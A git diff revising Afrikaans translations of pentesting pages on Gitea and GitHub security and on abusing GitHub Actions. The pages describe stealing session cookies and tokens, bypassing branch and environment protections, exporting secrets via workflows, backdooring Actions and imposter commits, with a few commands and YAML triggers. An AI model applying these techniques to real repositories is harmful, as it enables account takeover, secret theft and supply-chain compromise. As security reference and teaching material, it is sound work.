Jy kan jou rekening met een of verskeie publieke sleutels konfigureer wat die verwante **private sleutel toelaat om aksies namens jou uit te voer.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
-#### **GPG Keys**
+#### **GPG Sleutels**
-Jy **kan nie die gebruiker met hierdie sleutels naboots nie** maar as jy dit nie gebruik nie, kan dit moontlik wees dat jy **ontdek word vir die stuur van commits sonder 'n handtekening**.
+Jy **kan nie die gebruiker met hierdie sleutels naboots nie** maar as jy dit nie gebruik nie, kan dit moontlik wees dat jy **ontdek word vir die stuur van verbintenisse sonder 'n handtekening**.
-### **Personal Access Tokens**
+### **Persoonlike Toegangstokens**
Jy kan 'n persoonlike toegangstoken genereer om **'n toepassing toegang tot jou rekening te gee**. 'n Persoonlike toegangstoken gee volle toegang oor jou rekening: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
-### Oauth Applications
+### Oauth Toepassings
-Net soos persoonlike toegangstokens sal **Oauth applications** **volledige toegang** oor jou rekening en die plekke waar jou rekening toegang het hê, omdat, soos in die [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) aangedui, scopes nog nie ondersteun word nie:
+Net soos persoonlike toegangstokens **Oauth toepassings** sal **volledige toegang** oor jou rekening en die plekke waar jou rekening toegang het hê, omdat, soos in die [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) aangedui, scopes nog nie ondersteun word nie:
.png>)
-### Deploy keys
+### Ontplooi sleutels
-Deploy sleutels kan slegs lees- of skryftoegang tot die repo hê, so hulle kan interessant wees om spesifieke repos te kompromitteer.
+Ontplooi sleutels kan lees-slegs of skryf toegang tot die repo hê, so hulle kan interessant wees om spesifieke repos te kompromitteer.
-## Branch Protections
+## Takbeskermings
-Branch beskermings is ontwerp om **nie volledige beheer van 'n repository** aan die gebruikers te gee nie. Die doel is om **verskeie beskermingsmetodes te plaas voordat jy in staat is om kode in 'n sekere tak te skryf**.
+Takbeskermings is ontwerp om **nie volledige beheer van 'n repository aan die gebruikers te gee** nie. Die doel is om **verskeie beskermingsmetodes te plaas voordat jy in staat is om kode binne 'n tak te skryf**.
-Die **branch beskermings van 'n repository** kan gevind word in _https://localhost:3000/\/\/settings/branches_
+Die **takbeskermings van 'n repository** kan gevind word in _https://localhost:3000/\/\/settings/branches_
> [!NOTE]
-> Dit is **nie moontlik om 'n branch beskerming op organisasievlak in te stel nie**. So al hulle moet op elke repo verklaar word.
+> Dit is **nie moontlik om 'n takbeskerming op organisasievlak in te stel** nie. So al hulle moet op elke repo verklaar word.
Verskillende beskermings kan op 'n tak toegepas word (soos op master):
@@ -87,17 +87,17 @@ Verskillende beskermings kan op 'n tak toegepas word (soos op master):
- **Aktiveer Push**: Enigeen met toegang kan push, maar nie force push nie.
- **Whitelist Beperkte Push**: Slegs geselekteerde gebruikers/spanne kan na hierdie tak push (maar geen force push nie)
- **Aktiveer Merge Whitelist**: Slegs whitelisted gebruikers/spanne kan PRs saamvoeg.
-- **Aktiveer Status kontroles:** Vereis dat status kontroles slaag voordat dit saamgevoeg word.
-- **Vereis goedkeuring**: Dui die aantal goedkeuringe aan wat vereis word voordat 'n PR saamgevoeg kan word.
+- **Aktiveer Status kontroles:** Vereis dat status kontroles slaag voordat saamgevoeg word.
+- **Vereis goedkeuringe**: Dui die aantal goedkeuringe aan wat vereis word voordat 'n PR saamgevoeg kan word.
- **Beperk goedkeuringe tot whitelisted**: Dui gebruikers/spanne aan wat PRs kan goedkeur.
- **Blokkeer saamvoeg op verwerkte hersienings**: As veranderinge aangevra word, kan dit nie saamgevoeg word nie (selfs as die ander kontroles slaag)
- **Blokkeer saamvoeg op amptelike hersieningsversoeke**: As daar amptelike hersieningsversoeke is, kan dit nie saamgevoeg word nie
-- **Verwerp verouderde goedkeuringe**: Wanneer nuwe commits gemaak word, sal ou goedkeuringe verwerp word.
-- **Vereis Onderteken Commits**: Commits moet onderteken wees.
-- **Blokkeer saamvoeg as die pull request verouderd is**
-- **Beskermde/onbeskermde lêerpatrone**: Dui patrone van lêers aan om teen veranderinge te beskerm/onbeskerm.
+- **Verwerp verouderde goedkeuringe**: Wanneer nuwe verbintenisse gemaak word, sal ou goedkeuringe verwerp word.
+- **Vereis Onderteken Verbintenisse**: Verbintenisse moet onderteken wees.
+- **Blokkeer saamvoeg as die trekversoek verouderd is**
+- **Beskermde/Onbeskermde lêerpatrone**: Dui patrone van lêers aan om teen veranderinge te beskerm/onbeskerm.
> [!NOTE]
-> Soos jy kan sien, selfs al het jy daarin geslaag om 'n paar akrediteerbare inligting van 'n gebruiker te verkry, **kan repos beskerm wees wat jou verhoed om kode na master te push** byvoorbeeld om die CI/CD-pyplyn te kompromitteer.
+> Soos jy kan sien, selfs al het jy daarin geslaag om 'n paar akrediteerbare inligting van 'n gebruiker te verkry, **kan repos beskerm wees wat jou verhinder om kode na master te push** byvoorbeeld om die CI/CD-pyplyn te kompromitteer.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
index 5addd67ce..8bc66de00 100644
--- a/src/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -1,4 +1,4 @@
-# Github Veiligheid
+# Github Sekuriteit
{{#include ../../banners/hacktricks-training.md}}
@@ -16,11 +16,11 @@ basic-github-information.md
Github repositories kan gekonfigureer word as publiek, privaat en intern.
-- **Privaat** beteken dat **slegs** mense van die **organisasie** toegang sal hê
-- **Intern** beteken dat **slegs** mense van die **onderneming** ( 'n onderneming kan verskeie organisasies hê) toegang sal hê
-- **Publiek** beteken dat **alle internet** toegang sal hê.
+- **Privaat** beteken dat **slegs** mense van die **organisasie** toegang tot hulle sal hê
+- **Intern** beteken dat **slegs** mense van die **onderneming** (n onderneming kan verskeie organisasies hê) toegang tot dit sal hê
+- **Publiek** beteken dat **alle internet** toegang tot dit sal hê.
-As jy die **gebruikersnaam, repo of organisasie wat jy wil teiken** ken, kan jy **github dorks** gebruik om sensitiewe inligting te vind of te soek na **sensitiewe inligting lek** **op elke repo**.
+As jy die **gebruiker, repo of organisasie wat jy wil teiken** ken, kan jy **github dorks** gebruik om sensitiewe inligting te vind of te soek na **sensitiewe inligting lek** **op elke repo**.
### Github Dorks
@@ -47,7 +47,7 @@ Gereedskap (elke gereedskap bevat sy lys van regexes):
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
> [!WARNING]
-> Wanneer jy soek na lekke in 'n repo en iets soos `git log -p` uitvoer, moenie vergeet daar mag **ander takke met ander verbintenisse** wees wat geheime bevat nie!
+> Wanneer jy soek na lekke in 'n repo en iets soos `git log -p` uitvoer, moenie vergeet daar mag wees **ander takke met ander verbintenisse** wat geheime bevat nie!
### Eksterne Forks
@@ -67,10 +67,10 @@ accessible-deleted-data-in-github.md
Daar is 'n paar **standaard voorregte** wat aan **lede** van die organisasie toegeken kan word. Hierdie kan beheer word vanaf die bladsy `https://github.com/organizations//settings/member_privileges` of vanaf die [**Organisasies API**](https://docs.github.com/en/rest/orgs/orgs).
-- **Basiese toestemmings**: Lede sal die toestemming None/Lees/schrijf/Admin oor die org repositories hê. Dit word aanbeveel om **None** of **Lees** te hê.
+- **Basiese toestemmings**: Lede sal die toestemming None/Lees/skryf/Admin oor die org repositories hê. Dit word aanbeveel om **Geen** of **Lees** te hê.
- **Repository fork**: As dit nie nodig is nie, is dit beter om **nie toe te laat** dat lede organisasie repositories fork nie.
- **Bladsy skepping**: As dit nie nodig is nie, is dit beter om **nie toe te laat** dat lede bladsye van die org repos publiseer nie. As dit nodig is, kan jy toelaat om publieke of private bladsye te skep.
-- **Integrasie toegang versoeke**: Met hierdie geaktiveer sal buite medewerkers toegang kan versoek vir GitHub of OAuth apps om toegang tot hierdie organisasie en sy hulpbronne te verkry. Dit is gewoonlik nodig, maar as dit nie is nie, is dit beter om dit te deaktiveer.
+- **Integrasie toegang versoeke**: Met hierdie geaktiveer sal buite samewerkers in staat wees om toegang te versoek vir GitHub of OAuth apps om toegang tot hierdie organisasie en sy hulpbronne te verkry. Dit is gewoonlik nodig, maar as dit nie is nie, is dit beter om dit te deaktiveer.
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
- **Repository sigbaarheid verandering**: As geaktiveer, sal **lede** met **admin** toestemmings vir die **repository** in staat wees om **sy sigbaarheid te verander**. As gedeaktiveer, kan slegs organisasie eienaars repository sigbaarhede verander. As jy **nie** wil hê mense moet dinge **publiek** maak nie, maak seker dit is **gedeaktiveer**.
- _Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen_
@@ -87,13 +87,13 @@ Verskeie sekuriteit gerelateerde instellings kan geconfigureer word vir aksies v
> [!NOTE]
> Let daarop dat al hierdie konfigurasies ook op elke repository onafhanklik gestel kan word
-- **Github aksies beleid**: Dit laat jou toe om aan te dui watter repositories workflows kan uitvoer en watter workflows toegelaat moet word. Dit word aanbeveel om **te spesifiseer watter repositories** toegelaat moet word en nie alle aksies toe te laat om te loop nie.
+- **Github aksies beleid**: Dit laat jou toe om aan te dui watter repositories workflows kan uitvoer en watter workflows toegelaat moet word. Dit word aanbeveel om **te spesifiseer watter repositories** toegelaat moet word en nie alle aksies toe te laat om uit te voer nie.
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
-- **Fork pull versoek workflows van buite medewerkers**: Dit word aanbeveel om **goedkeuring vir alle** buite medewerkers te vereis.
+- **Fork pull versoek workflows van buite samewerkers**: Dit word aanbeveel om **goedkeuring vir alle** buite samewerkers te vereis.
- _Ek kon nie 'n API met hierdie inligting vind nie, deel as jy dit doen_
-- **Voer workflows uit van fork pull versoeke**: Dit is hoogs **afgerade om workflows van pull versoeke uit te voer** aangesien onderhouders van die fork oorsprong die vermoë sal hê om tokens met lees toestemmings op die bron repository te gebruik.
+- **Voer workflows uit van fork pull versoeke**: Dit is hoogs **afgeradeer om workflows van pull versoeke uit te voer** aangesien onderhouders van die fork oorsprong die vermoë sal hê om tokens met lees toestemmings op die bron repository te gebruik.
- _Ek kon nie 'n API met hierdie inligting vind nie, deel as jy dit doen_
-- **Workflow toestemmings**: Dit word hoogs aanbeveel om **slegs lees repository toestemmings te gee**. Dit word afgerade om skryf en skep/goedkeur pull versoek toestemmings te gee om die misbruik van die GITHUB_TOKEN wat aan lopende workflows gegee word, te vermy.
+- **Workflow toestemmings**: Dit word hoogs aanbeveel om **slegs lees repository toestemmings te gee**. Dit word afgeradeer om skryf en skep/goedkeur pull versoek toestemmings te gee om die misbruik van die GITHUB_TOKEN wat aan lopende workflows gegee word, te vermy.
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integrasies
@@ -111,26 +111,26 @@ Vir hierdie scenario gaan ons veronderstel dat jy toegang tot 'n github rekening
As jy op een of ander manier reeds kredensiale vir 'n gebruiker binne 'n organisasie het, kan jy **net aanmeld** en kyk watter **onderneming en organisasie rolle jy het**, as jy 'n gewone lid is, kyk watter **toestemmings gewone lede het**, in watter **groepe** jy is, watter **toestemmings jy het** oor watter **repos,** en **hoe die repos beskerm word.**
-Let daarop dat **2FA dalk gebruik word** sodat jy slegs toegang tot hierdie inligting sal hê as jy ook **daardie toets kan slaag**.
+Let daarop dat **2FA mag gebruik word** sodat jy slegs toegang tot hierdie inligting sal hê as jy ook **daardie toets kan slaag**.
> [!NOTE]
> Let daarop dat as jy **slaag om die `user_session` koekie te steel** (huidiglik geconfigureer met SameSite: Lax) jy kan **volledig die gebruiker naboots** sonder om kredensiale of 2FA te benodig.
-Kyk die afdeling hieronder oor [**tak beskerming omseilings**](./#branch-protection-bypass) in geval dit nuttig is.
+Kyk na die afdeling hieronder oor [**tak beskerming omseilings**](./#branch-protection-bypass) in geval dit nuttig is.
### Met Gebruiker SSH Sleutel
-Github laat **gebruikers** toe om **SSH sleutels** in te stel wat as **authentikasie metode gebruik sal word om kode** namens hulle te ontplooi (geen 2FA word toegepas nie).
+Github laat **gebruikers** toe om **SSH sleutels** in te stel wat as **authentikasie metode om kode namens hulle te ontplooi** gebruik sal word (geen 2FA word toegepas nie).
-Met hierdie sleutel kan jy **veranderinge in repositories waar die gebruiker sekere voorregte het, uitvoer**, egter jy kan dit nie gebruik om toegang tot die github api te verkry om die omgewing te tel nie. Jy kan egter **lokale instellings tel** om inligting oor die repos en gebruiker waartoe jy toegang het, te verkry:
+Met hierdie sleutel kan jy **veranderings in repositories waar die gebruiker sekere voorregte het**, egter jy kan dit nie gebruik om toegang tot die github api te verkry om die omgewing te tel nie. Jy kan egter **lokale instellings tel** om inligting oor die repos en gebruiker waartoe jy toegang het, te verkry:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
-As die gebruiker sy gebruikersnaam as sy github gebruikersnaam gekonfigureer het, kan jy toegang verkry tot die **publieke sleutels wat hy in sy rekening ingestel het** in _https://github.com/\.keys_, jy kan dit nagaan om te bevestig dat die private sleutel wat jy gevind het, gebruik kan word.
+As die gebruiker sy gebruikersnaam as sy github gebruikersnaam gekonfigureer het, kan jy toegang verkry tot die **publieke sleutels wat hy gestel het** in sy rekening op _https://github.com/\.keys_, jy kan dit nagaan om te bevestig dat die private sleutel wat jy gevind het, gebruik kan word.
-**SSH sleutels** kan ook in repositories as **deploy sleutels** ingestel word. Enigeen met toegang tot hierdie sleutel sal in staat wees om **projekte vanaf 'n repository te begin**. Gewoonlik in 'n bediener met verskillende deploy sleutels sal die plaaslike lêer **`~/.ssh/config`** jou inligting gee oor watter sleutel verband hou.
+**SSH sleutels** kan ook in repositories as **ontplooi sleutels** gestel word. Enigeen met toegang tot hierdie sleutel sal in staat wees om **projekte vanuit 'n repository te begin**. Gewoonlik in 'n bediener met verskillende ontplooi sleutels sal die plaaslike lêer **`~/.ssh/config`** jou inligting gee oor watter sleutel verband hou.
#### GPG Sleutels
@@ -140,61 +140,61 @@ Kontroleer plaaslik of die huidige gebruiker enige sleutel het met:
```shell
gpg --list-secret-keys --keyid-format=long
```
-### Met Gebruikerstoken
+### Met Gebruikersteken
-Vir 'n inleiding oor [**Gebruikerstokens kyk na die basiese inligting**](basic-github-information.md#personal-access-tokens).
+Vir 'n inleiding oor [**Gebruikersteke kyk die basiese inligting**](basic-github-information.md#personal-access-tokens).
-'n Gebruikerstoken kan gebruik word **in plaas van 'n wagwoord** vir Git oor HTTPS, of kan gebruik word om [**te autentiseer by die API oor Basiese Autentisering**](https://docs.github.com/v3/auth/#basic-authentication). Afhangende van die voorregte wat daaraan gekoppel is, mag jy in staat wees om verskillende aksies uit te voer.
+'n Gebruikersteken kan gebruik word **in plaas van 'n wagwoord** vir Git oor HTTPS, of kan gebruik word om [**te autentiseer by die API oor Basiese Autentisering**](https://docs.github.com/v3/auth/#basic-authentication). Afhangende van die voorregte wat daaraan gekoppel is, mag jy in staat wees om verskillende aksies uit te voer.
-'n Gebruikerstoken lyk soos volg: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
+'n Gebruikersteken lyk soos volg: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
### Met Oauth Toepassing
-Vir 'n inleiding oor [**Github Oauth Toepassings kyk na die basiese inligting**](basic-github-information.md#oauth-applications).
+Vir 'n inleiding oor [**Github Oauth Toepassings kyk die basiese inligting**](basic-github-information.md#oauth-applications).
-'n Aanvaller mag 'n **kwaadwillige Oauth Toepassing** skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishingveldtog aanvaar.
+'n Aanvaller mag 'n **kwaadwillige Oauth Toepassing** skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishing veldtog aanvaar.
-Hierdie is die [skoppe wat 'n Oauth toepassing kan versoek](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). 'n Gebruiker moet altyd die versoekte skoppe nagaan voordat dit aanvaar word.
+Hierdie is die [skoppe wat 'n Oauth toepassing kan versoek](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). 'n Mens moet altyd die versoekte skoppe nagaan voordat jy dit aanvaar.
-Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/ontneem** tot inligting/repos/aksies wat met die organisasie verband hou.
+Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/weier** tot inligting/repos/aksies wat met die organisasie verband hou.
### Met Github Toepassing
-Vir 'n inleiding oor [**Github Toepassings kyk na die basiese inligting**](basic-github-information.md#github-applications).
+Vir 'n inleiding oor [**Github Toepassings kyk die basiese inligting**](basic-github-information.md#github-applications).
-'n Aanvaller mag 'n **kwaadwillige Github Toepassing** skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishingveldtog aanvaar.
+'n Aanvaller mag 'n **kwaadwillige Github Toepassing** skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishing veldtog aanvaar.
-Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/ontneem** tot inligting/repos/aksies wat met die organisasie verband hou.
+Boonop, soos verduidelik in die basiese inligting, **kan organisasies toegang tot derdeparty-toepassings gee/weier** tot inligting/repos/aksies wat met die organisasie verband hou.
## Kompromie & Misbruik Github Aksie
-Daar is verskeie tegnieke om 'n Github Aksie te kompromitteer en te misbruik, kyk hulle hier:
+Daar is verskeie tegnieke om 'n Github Aksie te kompromitteer en te misbruik, kyk dit hier:
{{#ref}}
abusing-github-actions/
{{#endref}}
-## Takbeskerming Omseiling
+## Branch Beskerming Omseiling
-- **Vereis 'n aantal goedkeuringe**: As jy verskeie rekeninge gecompromitteer het, kan jy dalk net jou PR's van ander rekeninge aanvaar. As jy net die rekening het waaruit jy die PR geskep het, kan jy nie jou eie PR aanvaar nie. As jy egter toegang het tot 'n **Github Aksie** omgewing binne die repo, kan jy met die **GITHUB_TOKEN** dalk jou PR **goedkeur** en op hierdie manier 1 goedkeuring kry.
-- _Let wel vir hierdie en vir die Kode-eienaars beperking dat 'n gebruiker gewoonlik nie sy eie PR's kan goedkeur nie, maar as jy dit kan, kan jy dit misbruik om jou PR's te aanvaar._
+- **Vereis 'n aantal goedkeuringe**: As jy verskeie rekeninge gecompromitteer het, kan jy dalk net jou PR's van ander rekeninge aanvaar. As jy net die rekening het waaruit jy die PR geskep het, kan jy nie jou eie PR aanvaar nie. As jy egter toegang het tot 'n **Github Aksie** omgewing binne die repo, kan jy met die **GITHUB_TOKEN** dalk jou **PR goedkeur** en op hierdie manier 1 goedkeuring kry.
+- _Let wel vir hierdie en vir die Kode Eienaars beperking dat 'n gebruiker gewoonlik nie sy eie PR's kan goedkeur nie, maar as jy kan, kan jy dit misbruik om jou PR's te aanvaar._
- **Verwerp goedkeuringe wanneer nuwe verbintenisse gestuur word**: As dit nie ingestel is nie, kan jy wettige kode indien, wag totdat iemand dit goedkeur, en kwaadwillige kode plaas en dit in die beskermde tak saamvoeg.
-- **Vereis hersienings van Kode-eienaars**: As dit geaktiveer is en jy is 'n Kode-eienaar, kan jy 'n **Github Aksie laat jou PR skep en dit dan self goedkeur**.
-- Wanneer 'n **CODEOWNER-lêer verkeerd geconfigureer is**, kla Github nie, maar dit gebruik dit nie. Daarom, as dit verkeerd geconfigureer is, is **Kode-eienaars beskerming nie van toepassing nie.**
-- **Laat gespesifiseerde akteurs om takverlangings te omseil**: As jy een van hierdie akteurs is, kan jy takverlangings omseil.
-- **Sluit administrateurs in**: As dit nie ingestel is nie en jy is 'n admin van die repo, kan jy hierdie takbeskermings omseil.
+- **Vereis hersienings van Kode Eienaars**: As dit geaktiveer is en jy is 'n Kode Eienaar, kan jy 'n **Github Aksie laat jou PR skep en dit dan self goedkeur**.
+- Wanneer 'n **CODEOWNER-lêer verkeerd geconfigureer is**, kla Github nie, maar dit gebruik dit nie. Daarom, as dit verkeerd geconfigureer is, is **Kode Eienaars beskerming nie van toepassing nie.**
+- **Laat gespesifiseerde akteurs om pull request vereistes te omseil**: As jy een van hierdie akteurs is, kan jy pull request beskermings omseil.
+- **Sluit administrateurs in**: As dit nie ingestel is nie en jy is admin van die repo, kan jy hierdie tak beskermings omseil.
- **PR Hijacking**: Jy mag in staat wees om **die PR van iemand anders te wysig** deur kwaadwillige kode by te voeg, die resulterende PR self goed te keur en alles saam te voeg.
-- **Verwyder Takbeskermings**: As jy 'n **admin van die repo is, kan jy die beskermings deaktiveer**, jou PR saamvoeg en die beskermings terugstel.
-- **Omseiling van drukbeskermings**: As 'n repo **slegs sekere gebruikers toelaat** om druk (kode saam te voeg) in takke te stuur (die takbeskerming mag al die takke beskerm deur die wildcard `*` te spesifiseer).
-- As jy **skryftoegang oor die repo het, maar jy mag nie kode druk nie** weens die takbeskerming, kan jy steeds **'n nuwe tak skep** en binne dit 'n **github aksie skep wat geaktiveer word wanneer kode gestuur word**. Aangesien die **takbeskerming nie die tak sal beskerm totdat dit geskep is nie**, sal hierdie eerste kode druk na die tak die **github aksie** uitvoer.
+- **Verwydering van Tak Beskermings**: As jy 'n **admin van die repo is, kan jy die beskermings deaktiveer**, jou PR saamvoeg en die beskermings terugstel.
+- **Omseiling van druk beskermings**: As 'n repo **slegs sekere gebruikers toelaat** om druk (kode saam te voeg) in takke te stuur (die tak beskerming mag al die takke beskerm deur die wildcard `*` te spesifiseer).
+- As jy **skrywe toegang oor die repo het, maar jy mag nie kode druk nie** as gevolg van die tak beskerming, kan jy steeds **'n nuwe tak skep** en binne dit 'n **github aksie skep wat geaktiveer word wanneer kode gestuur word**. Aangesien die **tak beskerming nie die tak sal beskerm totdat dit geskep is nie**, sal hierdie eerste kode druk na die tak die **github aksie uitvoer**.
-## Omseiling van Omgewingsbeskermings
+## Omseiling van Omgewings Beskermings
-Vir 'n inleiding oor [**Github Omgewing kyk na die basiese inligting**](basic-github-information.md#git-environments).
+Vir 'n inleiding oor [**Github Omgewing kyk die basiese inligting**](basic-github-information.md#git-environments).
-In die geval dat 'n omgewing **van al die takke toegang kan verkry**, is dit **nie beskerm nie** en jy kan maklik toegang verkry tot die geheime binne die omgewing. Let daarop dat jy repos mag vind waar **al die takke beskerm is** (deur hul name te spesifiseer of deur `*` te gebruik) in daardie scenario, **vind 'n tak waar jy kode kan druk** en jy kan die geheime **uitvoer** deur 'n nuwe github aksie te skep (of een te wysig).
+In die geval dat 'n omgewing **van alle takke toegang kan verkry**, is dit **nie beskerm nie** en jy kan maklik toegang verkry tot die geheime binne die omgewing. Let daarop dat jy dalk repos mag vind waar **alle takke beskerm is** (deur hul name te spesifiseer of deur `*` te gebruik) in daardie scenario, **vind 'n tak waar jy kode kan druk** en jy kan die geheime **uitvoer** deur 'n nuwe github aksie te skep (of een te wysig).
-Let daarop dat jy die randgeval mag vind waar **al die takke beskerm is** (deur wildcard `*`) en dit is gespesifiseer **wie kode na die takke kan druk** (_jy kan dit in die takbeskerming spesifiseer_) en **jou gebruiker is nie toegelaat nie**. Jy kan steeds 'n pasgemaakte github aksie uitvoer omdat jy 'n tak kan skep en die druktrigger oor homself kan gebruik. Die **takbeskerming laat die druk na 'n nuwe tak toe, so die github aksie sal geaktiveer word**.
+Let daarop dat jy dalk die randgeval mag vind waar **alle takke beskerm is** (deur wildcard `*`) en dit is gespesifiseer **wie kode na die takke kan druk** (_jy kan dit in die tak beskerming spesifiseer_) en **jou gebruiker is nie toegelaat nie**. Jy kan steeds 'n pasgemaakte github aksie uitvoer omdat jy 'n tak kan skep en die druktrigger oor homself kan gebruik. Die **tak beskerming laat die druk na 'n nuwe tak toe, so die github aksie sal geaktiveer word**.
```yaml
push: # Run it when a push is made to a branch
branches:
@@ -207,14 +207,14 @@ Let wel dat **na die skepping** van die tak die **takbeskerming op die nuwe tak
- Genereer **gebruikertoken**
- Steel **github tokens** van **geheime**
- **Verwydering** van werkvloei **resultate** en **takke**
-- Gee **meer regte aan die hele organisasie**
+- Gee **meer regte aan die hele org**
- Skep **webhooks** om inligting te eksfiltreer
- Nooi **buitelandse samewerkers**
- **Verwyder** **webhooks** wat deur die **SIEM** gebruik word
-- Skep/wysig **Github Action** met 'n **terugdeur**
+- Skep/wysig **Github Action** met 'n **agterdeur**
- Vind **kwulnerbare Github Action vir opdraginjekie** deur **geheime** waarde wysiging
-### Imposter Commits - Terugdeur via repo commits
+### Imposter Commits - Agterdeur via repo commits
In Github is dit moontlik om **'n PR na 'n repo van 'n fork te skep**. Selfs al word die PR **nie aanvaar nie**, sal 'n **commit** id binne die oorspronklike repo geskep word vir die fork weergawe van die kode. Daarom **kan 'n aanvaller 'n spesifieke commit van 'n blykbaar legitieme repo wat nie deur die eienaar van die repo geskep is nie, vaspen**.
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index 50e3f1b2b..f72ff28cc 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -12,7 +12,7 @@ In hierdie bladsy sal jy vind:
- Misbruik van **pull request** verwante triggers
- Misbruik van **ander eksterne toegang** tegnieke
- **Pivoting** vanaf 'n reeds gecompromitteerde repo
-- Laastens, 'n afdeling oor **post-exploitatie tegnieke om 'n aksie van binne te misbruik** (om die genoem impakte te veroorsaak)
+- Laastens, 'n afdeling oor **post-exploitatie tegnieke om 'n aksie van binne te misbruik** (want die genoem impakte)
## Impakte Opsomming
@@ -20,7 +20,7 @@ Vir 'n inleiding oor [**Github Actions kyk na die basiese inligting**](../basic-
As jy **arbitraire kode in GitHub Actions** binne 'n **repository** kan **uitvoer**, mag jy in staat wees om:
-- **Geheime** wat aan die pyplyn gekoppel is te **steel** en die **privileges van die pyplyn** te misbruik om ongeoorloofde toegang tot eksterne platforms, soos AWS en GCP, te verkry.
+- **Geheime** wat aan die pyplyn gekoppel is te **steel** en die **privileges van die pyplyn te misbruik** om ongeoorloofde toegang tot eksterne platforms, soos AWS en GCP, te verkry.
- **Ontplooiings** en ander **artefakte** te **kompromitteer**.
- As die pyplyn bates ontplooi of stoor, kan jy die finale produk verander, wat 'n voorsieningskettingaanval moontlik maak.
- **Kode in pasgemaakte werkers** uit te voer om rekenaarkrag te misbruik en na ander stelsels te pivot.
@@ -81,7 +81,7 @@ https://api.github.com/repos///pulls \
{{#endtabs }}
> [!CAUTION]
-> Let daarop dat jy in verskeie gevalle **github gebruikers tokens binne Github Actions omgewings of in die geheime** sal vind. Hierdie tokens kan jou meer voorregte oor die repository en organisasie gee.
+> Let daarop dat jy in verskeie gevalle **github gebruikers tokens binne Github Actions omgewings of in die geheime** sal kan vind. Hierdie tokens kan jou meer voorregte oor die repository en organisasie gee.
@@ -143,7 +143,7 @@ Dit is moontlik om die toestemmings wat aan 'n Github Token gegee is in ander ge
> [!NOTE]
> Dit sou die maklikste manier wees om Github aksies te kompromitteer, aangesien hierdie geval veronderstel dat jy toegang het om **'n nuwe repo in die organisasie te skep**, of **skryfregte oor 'n repository** het.
>
-> As jy in hierdie scenario is, kan jy net die [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action) nagaan.
+> As jy in hierdie scenario is, kan jy net die [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action) kontroleer.
### Uitvoering vanaf Repo Skepping
@@ -151,9 +151,9 @@ In die geval dat lede van 'n organisasie **nuwe repos kan skep** en jy kan githu
### Uitvoering vanaf 'n Nuwe Tak
-As jy **'n nuwe tak in 'n repository kan skep wat reeds 'n Github Action** geconfigureer het, kan jy dit **wysig**, **die inhoud oplaai**, en dan **daardie aksie vanaf die nuwe tak uitvoer**. Op hierdie manier kan jy **repository en organisasievlak geheime** **uitvoer** (maar jy moet weet hoe hulle genoem word).
+As jy **'n nuwe tak in 'n repository wat reeds 'n Github Action** geconfigureer het, kan jy dit **wysig**, die inhoud **oplaai**, en dan **daardie aksie vanaf die nuwe tak uitvoer**. Op hierdie manier kan jy **repository en organisasievlak geheime** **uitvoer** (maar jy moet weet hoe hulle genoem word).
-Jy kan die gewysigde aksie uitvoerbaar maak **handmatig,** wanneer 'n **PR geskep word** of wanneer **enige kode gepush word** (afhangende van hoe luidrugtig jy wil wees):
+Jy kan die gewysigde aksie **handmatig** uitvoerbaar maak, wanneer 'n **PR geskep word** of wanneer **enige kode gepush word** (afhangende van hoe luidrugtig jy wil wees):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -170,33 +170,33 @@ branches:
## Forked Uitvoering
> [!NOTE]
-> Daar is verskillende triggers wat 'n aanvaller kan toelaat om **'n Github Action van 'n ander repository uit te voer**. As daardie triggerbare aksies swak geconfigureer is, kan 'n aanvaller in staat wees om hulle te kompromitteer.
+> Daar is verskillende triggers wat 'n aanvaller kan toelaat om 'n **Github Action van 'n ander repository** te **uitvoer**. As daardie triggerbare aksies swak geconfigureer is, kan 'n aanvaller in staat wees om hulle te kompromitteer.
### `pull_request`
-Die werksvloei-trigger **`pull_request`** sal die werksvloei elke keer uitvoer wanneer 'n pull request ontvang word met 'n paar uitsonderings: standaard, as dit die **eerste keer** is dat jy **saamwerk**, sal 'n **onderhouer** die **uitvoering** van die werksvloei moet **goedkeur**:
+Die werksvloei-trigger **`pull_request`** sal die werksvloei uitvoer elke keer as 'n pull request ontvang word met 'n paar uitsonderings: standaard, as dit die **eerste keer** is dat jy **saamwerk**, sal 'n **onderhouer** die **uitvoering** van die werksvloei moet **goedkeur**:
